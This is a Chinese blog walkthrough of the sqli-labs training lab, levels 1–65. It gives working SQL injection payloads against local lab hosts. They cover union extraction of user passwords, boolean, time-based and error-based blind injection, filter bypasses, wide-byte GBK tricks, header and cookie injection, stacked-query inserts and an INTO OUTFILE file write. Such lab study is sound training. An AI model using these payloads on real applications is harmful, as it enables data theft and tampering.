开篇

学习了sql注入很长时间了,但一直学着忘着,最近正好有时间,再重新学习一遍sql注入,使用sqli-labs进行练习

0x01 基础知识

(1)连接字符串

  • concat(连接参数产生的字符串,如果一个参数返回NULL,则返回值为NULL) 格式:concat(str1,str2,) * concat_ws(concat特殊形式,第一个参数为分隔符,如果一个参数返回NULL,则返回值则会忽略NULL) 格式:concat_ws('_',str,str) * group_concat(返回字符串的结果) 格式:group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator '分隔符'] )

(2) 常用函数

    1. version() -- Mysql系统版本
    2. user() --数据库用户
    3. database() -- 数据库名
    4. @@datadir -- 数据库路径
    5. @@version_compile_os -- 操作系统版本

(3) union

操作符用于合并两个或多个 SELECT 语句的结果集。union选取不同值,union all 允许重复的值。

(4) 常规sql注入语句

select 1,group_concat(schema_name),3 from information_schema.schemata --+ //查询数据库

select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() --+ //查询表

select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+ //查询字段

select 1,group_concat(id,'-','username','-','password'),3 from users --+ // 查询字段

(5) 截取字符

  • mid 格式为mid(column_name,start[length])
  • substr 格式为
  • left

0x02 通关

less-1

(1)基于错误的GET单引号字符型注入

?id=1'  order by  4 --+  // 查询长度

## id=非正确值

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+ //查询数据库

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() --+ //查询表

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+ //查询字段

?id=-1' union select 1,group_concat(id,'-',username,'-',password),3 from users --+ //查询数据

img

less-2

(1)基于错误的GET整数型注入 输入单引号后,根据报错信息确定是把我们输入内容带入到查询语句中。payload把less-1的id=1后面的单引号去掉,其他保持不变

less-3

(1)基于错误的GET单引号变形字符串注入 输入单引号,根据页面报错信息得知把我们输入的信息放在一个括号内,那么可以猜出查询语句为 select * from 表名 where id = ('$id') (2)payload把less-1的id后面加上),其他保持不变

less-4

(1)基于错误的GET双引号字符型注入 老规矩,在id=1后面输入单引号,没啥变化 输入双引号,页面报错,根据页面报错信息得知把我们输入的信息放在了一个括号内,那么可以猜测查询语句为 select * from 表名 where id = ("$id") (2)payload把less-1的id后面加上"),其他保持不变

前置知识

1、盲注分类

  • 基于布尔盲注
  • 基于时间盲注
  • 基于报错盲注 2、基于布尔盲注
// 常用函数
(1)left   //格式: left(str,length)
(2)substr //格式: substr(string,num start,num length)
(3)mid   //格式: mid(column_name,star[,length])
(4)length //格式: length(str)
(5)ascii //格式: ascii(str)
(6)ord //格式: ord(str)
 (7) regexp
// 常用语句
left(database(),1) = 'a'  //猜测左边第一个字符
length(database())=8  //猜测长度
ord(mid(select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1) > 10 //猜测第一个ascii字符
ascii(substr(查询语句),1,1) > 19 //猜测第一个ascii字符,与ord同理
1=(select 1 from infomation_schema.tables where table_schema = database() and table_name regexp '^us[a-z]' limit 0,1)

3、基于报错注入

//常用函数
(1) floor
(2) updatexml
(3) exp
(4) extractvalue
//常用语句
(1) select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)a) from information_schema.columns group by a
(2) updatexml(1,concat(0x7e,0x7e,(select user()),0x7e,0x7e),1)
(3) extractvalue(1,concat(0x7e,0x7e,(select user()),0x7e,0x7e))
(4) select (exp(~(select * from (select user())a)))
(5) select (!(select * from (select user())a) - ~0))

4、基于时间注入

//常用语句

if(ascii(substr(database(),1,1)),sleep,1)

less-5

(1)双注入GET单引号字符型注入 img

(2)布尔盲注

http://192.168.31.166:55018/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1)) > 10 --+

img

(3)报错注入

http://192.168.31.166:55018/Less-5/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns  group by a--+

img (3)延时注入

http://192.168.31.166:55018/Less-5/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),1,1))>10,sleep(5),1) --+

img

其他语句可自行尝试

less-6

(1)双注入GET双引号字符型注入 与less-5不同的是双引号,其他注入语句相同

id=1"

less-7

(1)导出文件GET字符型注入

load_file() 导出文件 load_file(file_name):读取服务器中的文件,并返回该文件的内容作为一个字符串 使用条件: a. 必须有权限读取文件并且文件必须完全可读 and (select count(*) from mysql.user)>0 如果返回正常说明具有读写权限,如果返回错误说明不具有读写权限 b. 想要读写文件,要求当前文件必须位于服务器内 c. 必须制定文件的完整路径 d. 欲读取文件必须小于 max_allowed_packet(数据库允许一次传输包的大小)

导入到文件

select ... into outfile 'file_name'

(2)注入语句

http://192.168.31.166:55018/Less-7/?id=1'))  union select 1,2,'' into outfile "//var//www//html//Less-7//shell2.txt" #

img

less-8

1、布尔型单引号GET盲注

http://192.168.31.166:55018/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100 --+

img

less-9

1、基于时间的GET单引号盲注 不管输入什么,都会显示 you are in.......... 2、尝试使用时间盲注,成功延时五秒 img 3、使用时间盲注ascii爆破

http://192.168.31.166:55018/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>10,sleep(5),1) --+

img

less-10

1、基于时间双引号 从标题上看出是双引号 2、与第九关不同的是id=1",payload与less-9类似

http://192.168.31.166:55018/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>10,sleep(5),1) --+

less-11

1、基于错误的POST型单引号字符型注入 2、输入username:admin' password:123 发生报错 3、我们就可以使用万能密码进行尝试

admin' or '1'='1 #


//这样就变成了
Select * from user where username ='admin' or '1'='1' and password ='';

4、使用报错注入,updatexml报错注入

uname=admin'  and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1)# &passwd=admin

img

5、报错注入extractvalue

uname=admin'  and extractvalue(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a))# &passwd=admin

img

6、floor报错注入

uname=admin'  union select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand(0)*2))a  from information_schema.columns group by a #&passwd=123

img

7、延时注入,在这里也是可以的

uname=admin'  and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>10,sleep(5),1) #&passwd=123

img

less-12

1、基于错误的双引号POST型字符型变形的注入 2、在admin后面添加单引号,没有报错,添加双引号,会把我们输入的内容输出到报错信息,并且后面有个) img 3、payload与less11相同,在admin后面添加") img

less-13

1、POST单引号变形双注入 2、输入admin',会把我们输入信息输出到报错信息内,并添加) 3、payload与less11类似,在admin后面添加')

less-14

1、POST单引号变形双注入 2、输入admin",会把我们输入信息输出到报错信息内 3、payload与less11类似,在admin后面添加" img

less-15

1、基于bool型/时间延迟单引号POST型盲注 2、输入admin',发现没有报错信息回显,所以只能使用布尔盲注与延时注入 3、通过or 1=1测试,判断出admin' img 4、布尔盲注

//爆破数据表第一个字段

uname=admin'  and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)) > 10 # &passwd=1 &passwd=admin

img 5、延时注入

//通过延时注入,如果数据表第一个字符大于10,则延时6s
uname=admin'  and if(ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1)>10),sleep(6),1) # &passwd=1 &passwd=admin

img

less-16

1、基于bool型/时间延迟的双引号POST型盲注 2、输入admin'并没有报错信息回显,通过or 1=1来测试,测试闭合为admin") img 3、payload与less15相同,需要修改admin")

uname=admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1)>10),sleep(6),1) # #&passwd=1 &passwd=admin

img

less-17

1、前置知识

insert into <表名> [ <列名1> [ , … <列名n>] ] vlaue (值) //增加

delete from 表名 where id = 1 //删除数据

drop   database 数据库名//删除

update 表名 set 列名='新的值' //修改

*php函数介绍
addslashes()函数 
//使用反斜线引用字符串PHP 5.4 之前 PHP 指令 magic_quotes_gpc 默认是 on, 实际上所有的 GET、POST 和 COOKIE 数据都用被 addslashes() 了。 不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。 遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

stripslashes()函数
返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)

mysql_real_escape_string()
函数转义SQL语句中使用的字符串中的特殊字符

2、基于错误的更新查询POST注入 从页面可以看出是修改密码的过程,在passwd输入123',页面发生报错,说明单引号闭合 3、查看代码,对uname值进行了防护 img

4、使用报错注入

// 爆表名
uname=admin&passwd=123' and extractvalue(1,concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a)) #

img 4、爆列名

uname=admin&passwd=123' and extractvalue(1,concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,0x3a)) #

img 5、爆字段的时候出现报错

uname=admin&passwd=123' and extractvalue(1,concat(0x3a,0x3a,(select password from users),0x3a,0x3a)) #

img

在加上一个select查询

uname=admin&passwd=123' and extractvalue(1,concat(0x3a,0x3a,(select password from (select password from users limit 1,1)a),0x3a,0x3a)) #

img

less-18

1、基于错误的用户代理,头部POST注入 2、首先查看代码,这一关把uname与passwd都做了防护 img 3、在代码中发现存在insert into .. value(),思考是不是可以利用这个进行注入 img 4、使用浏览器插件或者burpsuite进行抓包,修改user-agent,经测试,要已知username与password为admin,才可以成功 img img

5、爆数据表

' or updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a),1) and '

less-19

1、基于头部的Referer POST报错注入 2、输入admin/admin,回显是referer,referer注入 3、与less18 同理,把注入语句输入在referer上

' or updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema= database() limit 0,1),0x3a),1) and '

img img

less-20

1、基于错误的cookie头部POST注入 2、输入admin/admin后 img 3、从代码中可以看出是对cookee进行了查询,我们就可以进行cookie注入 img 4、使用bp进行抓包 img 5、在uname=admin后面添加单引号,会有报错信息 img

6、我们就可以利用报错注入

//当前用户
admin' and updatexml(1,concat(0x3a,(select user()),0x3a),1) and '

img 7、获得数据表

uname=admin' and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1) and '

img

less-21

1、基于错误的复杂的字符型Cookie注入 2、输入admin/admin,发现cookie进行了base64加密 img 3、使用bp抓包,修改cookie,但这里要把注入语句进行base64加密 img 4、bp改包发包

admin' or updatexml(1,concat(0x3a,(select user()),0x3a),1) and '

img

img

5、获取数据表

admin' or upda texml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit  0,1),0x3a),1) and '

16128540862663

less-22

1、基于错误的双引号字符型Cookie注入 2、从源码看出是双引号,cookie型注入 img 3、payload与less-21一致,需要把admin ' 变成admin "

admin" and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit  0,1),0x3a),1) #

16128546510134

less-23

1、基于错误的,过滤注释的GET型 2、尝试了半天,没测试出来 3、查看源码,过滤了'--','#'两个注释符 img 4、查询语句为

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

5、我们就可以构造语句,因为查询语句有limit 0,1,只有一个数据可以输出,所以把id=-1,数据库里面没有这个数据,就会查询为空,显示后面union select 查询出来的数据

-1' union select 1,2,database() ' 

img

6、查询数据表

id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()  or '1'='

16128570376865

7、使用报错注入

?id=1' and updatexml(1,concat(0x3a,0x3a,(select user()),0x3a,0x3a),1) or '1'='1

16128578674971

less-24

1、二次注入 2、先使用注册账号admin'#,密码123456 img 3、可以在后台看出admin'#账号成功注册

16137876810920

4、登陆账号,提示可以修改密码,此处修改密码为admin的密码16137877397028

5、原理如下,原本修改密码的语句为$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";,但使用admin'#进行修改后就变成$sql = "UPDATE users SET PASSWORD='$pass' where username='admin' #' and password='$curr_pass' ";

less-25

1、查看代码,发现是对or与and进行了过滤

16137903249570

2、绕过思路 (1) 大小写变形 Or,OR,oR (2)编码,hex,urlencode (3)添加注释/or/ (4)利用符号 and=&& or=|| (5)双拼 oorr Anandd 3、使用updatexml报错注入

http://172.16.20.13/lianxi/sqli-labs/Less-25/?id=1'|| updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

16137913216430 4、在使用information猜测表时,会把or过滤掉 16137914176633

5、这里就可以使用双拼绕过,oorr

http://172.16.20.13/lianxi/sqli-labs/Less-25/?id=1'|| updatexml(1,concat(0x7e,(select table_name from infoorrmation_schema.tables where table_schema=database() limit 0,1),0x7e),1) --+

16137914479999

less-25a

1、过滤or与and盲注 2、没有报错回显,使用延时注入和联合查询 3、延时注入,(注在测试过程中,页面会出现挂起的问题)

?id=-1 ||  if(length(database())=8,sleep(10),1) --+

16137991041773 4、联合查询

?id=-1 union select 1,group_concat(table_name) ,3 from infoorrmation_schema.tables where table_schema=database() --+

16137992803678

less-26

1、过滤了注释和空格的注入 2、测试没测试出来,从源码出分析 16138000108668

3、注释符与空格 or and 都被过滤掉了 4、查阅资料,空格可通过

%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格

5、payload ?id=1'%a0||'1 解释:查询语句为select * from 数据表 where id= '$id', payload第一个单引号为注释前面的引号,%a0为空格,|| 为or,第二个单引号为注释后面的引号,1为真。 6、使用联合查询

http://192.168.2.155:55001/Less-26/?id=1000'%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%a0%26%26'1'='1

16138030766719

7、使用报错注入

http://192.168.2.155:55001/Less-26/?id=1'%a0||updatexml(1,concat(0x7e,(select%a0table_name%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0limit%a00,1),0x7e),1)%a0||'1

16138019298821

less-26a

1、过滤空格与注释 2、经过测试26a与26关多了个括号

?id=1')%a0||('1

3、因为前台没有报错信息,所以不能使用报错注入 4、联合查询

?id=10000')%a0union%a0select%a01,2,3%a0||('1

16138025392402

5、联合查询表

http://192.168.2.155:55001/Less-26a/?id=10000')%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0%26%26('1')=('1

6、联合查询列

http://192.168.2.155:55001/Less-26a/?id=10000')%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'%a0%26%26('1')=('1

less-27

1、过滤了union和select的 2、根据页面提示过滤了union和select 3、输入id=1',页面报错 4、使用报错注入,使用大小混写可以绕过

||%a0updatexml(1,concat(0x7e,(sElEct%a0user()),0x7e),1)%a0%26%26'1'='1

16138037275146

5、联合查询

?id=10000'%a0uNiOn%a0SeLeCt%a01,2,3%a0||'1

16138040162880 6、联合查询表

http://192.168.2.155:55001/Less-27/?id=10000'%a0uNiOn%a0SeLeCt%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0%26%26'1'='1

16138041613787

less-27a

1、过滤了union和select的 2、经过测试27a输入双引号报错

?id=1"%a0||"1

16138043140520

3、payload与less-27类似

http://192.168.2.155:55001/Less-27a/?id=10000"%a0uNiOn%a0SeLeCt%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0%26%26"1"="1

16138044318330

less-28

1、过滤了union和select的 2、经过测试28关与27关,多了个括号 3、联合查询

http://192.168.2.155:55001/Less-28/?id=1000')%a0UnIoN%a0Select%a01,2,3%a0%26%26('1')=('1

16138047229104

less-28a

1、过滤了union和select的 2、查看源码,过滤字符只过滤了union select 16138052730661

3、使用大小写绕过

http://192.168.2.155:55001/Less-28a/?id=10000') uniOn%a0sElect 1,2,3 --+

16138052291581

less-29

1、这个网站受到世界最好的保护 2、输入id=1',页面报错 3、按照常规操作,先使用联合查询一下

http://192.168.2.155:55001/Less-29/?id=1111' union select 1,database(),3 --+

16138056762587

4、成功回显。????这是什么情况呢 5、继续看看能否查询表

http://192.168.2.155:55001/Less-29/?id=1111' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

16138057564882

6、嘶,没有任何防护吗 7、百度搜索了下,参考链接 https://blog.csdn.net/nzjdsds/article/details/77758824 8、大致意思?id=1&id=2,apache返回最后一个值,Tomcat返回第一个值

less-30

1、经过测试,在id=1后面输入",页面报错 2、payload

http://192.168.2.155:55001/Less-30/?id=-1" union select 1,database(),3 --+

16138077012118

less-31

1、输入双引号,页面爆错 2、payload

http://192.168.2.155:55001/Less-31/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

16138078869016

宽字节注入

(1)原理::mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个 汉字

less-32

1、宽字节注入 2、输入id=1',会在单引号前面加个反斜号
16138102809897

3、先前得知两个字符为一个汉字,所以%df%5c为一个汉字,%27url解码后为'

http://192.168.2.155:55001/Less-32/?id=-1%df%27  union select 1,2,3 --+

16138102200472

4、爆数据表

http://192.168.2.155:55001/Less-32/?id=-1%df%27  union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

16138101981239

less-33

1、从源码分析,此处使用了addslashes函数

16138104773422

2、addslashes函数,会在字符串加上反斜号

16138105237723

3、payload与32关相同

http://192.168.2.155:55001/Less-33/?id=-1%df%27  union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

16138106088872 4、网上给出addslashes防御方法,需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞。 Mysql_query("SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);

less-34

1、post注入 2、输入1',回显在单引号前面加了个\

16138120834692

3、这里也可以使用宽字节注入,吃掉反斜号,在这里hackbar无法正常使用,应该是编码问题,使用burpsuite进行抓包修改

1%df'%20or%201=1#

161381236972634、使用联合查询,提示列名不匹配,改成两个字段

1%df'%20union%20select%201,2,3#

5、查询数据库

1%df'%20union%20select%201,database()#

16138124792142

6、查询数据表

1%df'%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()#

16138133121518

less-35

1、查看源码,$id并没有被'"引起来

16138138333646-1

2、所以直接进行注入即可

http://192.168.2.155:55001/Less-35/?id=-1 union select 1,2,3 --+

16138138598808

less-36

1、这关还是可以使用宽字节注入绕过 2、使用burpsuite进行抓包,hackbar有问题,把注释符转义成空格了

-1%df%27%20union%20select%201,2,3%23

img 3、在查询列的时候

http://172.16.20.13/lianxi/sqli-labs/Less-36/?id=1000%df%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'  --+

4、这里的单引号可以通过十六进制绕过,

'users' = 0x7573657273

16138984420312

less-37

1、这一关与前几关类似,使用宽字节注入 2、注意这里需要使用burpsuite,hackbar会执行不成功

%df'%20or%201=1%20#

img

堆叠注入

1、原理 在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

less-38

1、经过测试,在id=1后面加个单引号 2、堆叠注入

?id=1';insert into users(id,username,password) values ('38','less38','hello') --+

16139645626311

less-39

1、与less-38不同的是,是数字型注入 2、payload

?id=1; insert into users(id,username,password) values('39','less-39','fuck'); --+

less-40

1、经过测试,闭合为') img 2、堆叠注入

?id=1');insert into users(id,username,password) values('40','less-40','dww') --+

16139658271414

16139658350496

less-41

1、与前几关不同的是,没有报错信息回显 2、经过测试,不需要进行闭合 img 3、payload

?id=1;insert into users(id,username,password) values('41','less-41','qwe') --+

img img

less-42

1、查看源码发现对username进行了转义,但对password没有进行防护 img

2、payload

admin';insert%20into%20users(id,username,password)%20values('15','admin23','123456')--+

img img

less-43

1、使用less-42关的payload,会提示语法错误 img

2、显示有括号,加上括号闭合

a');insert+into+users(id,username,password)+values ('144','less43','hello')#

img

less-44

1、这里没有报错回显,盲注 2、payload,在burpsuite中,使用以下payload没成功,但url编码后就可以了

1';insert into users(id,username,password) values ('145','less44','hello2')#

img

less-45

1、这关同样是没有报错回显 2、查看源码,password还是没有防护,但闭合为') img 3、payload

a');insert into users(id,username,password) values ('148','less44','hello2')#

img

order by注入

1、order by是mysql中对查询数据进行排序的方法, 使用示例

select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序

这里的重点在于order by后既可以填列名或者是一个数字。举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:

select * from user order by id;
selecr * from user order by 1;

less-46

1、order by 注入

2、updatexml报错注入

?sort=1 and updatexml(1,concat(0x3a,0x3a,(select user()),0x3a,0x3a),1)

img

3、floor注入

(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

img

4、时间盲注

?sort=1 and (if(ascii(left(database(),1)>10),sleep(1),1)) --+

img

img

less-47

1、与46关不同的是,闭合符号为单引号 2、payload与46关相同

/?sort=1' and updatexml(1,concat(0x3a,0x3a,(select user()),0x3a,0x3a),1) --+

img

less-48

1、测试没有回显,盲注 2、这里使用时间盲注

?sort=1 and if(length(database()=8),sleep(1),1) --+

img

less-49

1、与48关不同的是,需要加上闭合符号' 2、同样49关可以使用时间盲注进行 3、payload

?sort=1' and if(length(database())=8,sleep(1),1) --+

less-50

1、查看源码,这关使用mysqli_multi_query函数,这个函数可以执行多条sql语句 2、这里就可以使用堆叠注入 3、payload

?sort=1; insert into users(id,username,password) values('199','50','123456') --+

img

less-51

1、这关输入单引号报错 2、报错注入

?sort=1' and updatexml(1,concat(0x3a,(select user()),0x3a),1) --+

img 3、堆叠注入与50关相同

less-52

1、报错没有回显,还是可以使用堆叠注入

?sort=1;insert into users(id,username,password) values('123','52','123456') --+

img

less-53

1、输入单引号,页面报错,单引号闭合 2、payload

?sort=1';insert into users(id,username,password) values('153','53','123456') --+

img

less-54

1、经过测试,发现每隔10次,密码就会重置,所以看如何使用较少的次数 2、获取表名

?id=111' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

img 3、获取列名

?id=111' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='8ZVSP4NULD' --+

img

4、获取字段

?id=111' union select 1,2,group_concat(secret_5YZT) from challenges.8ZVSP4NULD --+

img

less-55

1、经过测试闭合符号为) 2、联合查询

?id=111) union select 1,2,3 --+

img 3、爆数据表

?id=111) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

img

less-56

1、经过测试,')为闭合符号 img

2、方法与之前相同 img

less-57

1、经过测试闭合符号为" 2、payload

?id=1111" union select 1,2,3  --+

img

less-58

1、经过多次测试得到闭合符号是',但是要联合查询,数据无法显示 2、发现报错注入在这里可以使用

111' and updatexml(1,concat(0x3a,0x3a,(select user()),0x3a,0x3a),1) --+

img

less-59

1、方法与58关相同,使用报错注入 2、payload

?id=1  and updatexml(1,concat(0x3a,0x3a,(select user()),0x3a,0x3a),1) --+

img

less-60

1、闭合为") 2、报错注入

?id=1") and updatexml(1,concat(0x3a,0x3a,(select user()),0x3a,0x3a),1) --+

img

less-61

1、这里没测试出来,查看源码才知道 img 2、payload

?id=1')) and  updatexml(1,concat(0x3a,0x3a,(select user()),0x3a,0x3a),1) --+

img

less-62

1、这里测试,联合查询与报错注入都不能使用 2、使用延时注入

1') and if(ascii(substr((select table_name from information_schema.tables where table_schema='challenges'),1,1))>10,sleep(11),1) --+

img

less-63

1、单引号注入

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='challenges'),1,1))>10,sleep(11),1) --+

img

less-64

1、查看源码,才知道闭合 img 2、payload

id=1))  and if(ascii(substr((select table_name from information_schema.tables where table_schema='challenges'),1,1))>10,sleep(11),1) --+

img

less-65

1、查看源码,是")闭合 img 2、payload

1")  and if(ascii(substr((select table_name from information_schema.tables where table_schema='challenges'),1,1))>10,sleep(11),1) --+

img

文章作者: weehhd
版权声明: 本站所有文章除特别声明外,均採用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 weehhd
渗透测试
喜欢就支持一下吧
打赏
微信 微信
支付宝 支付宝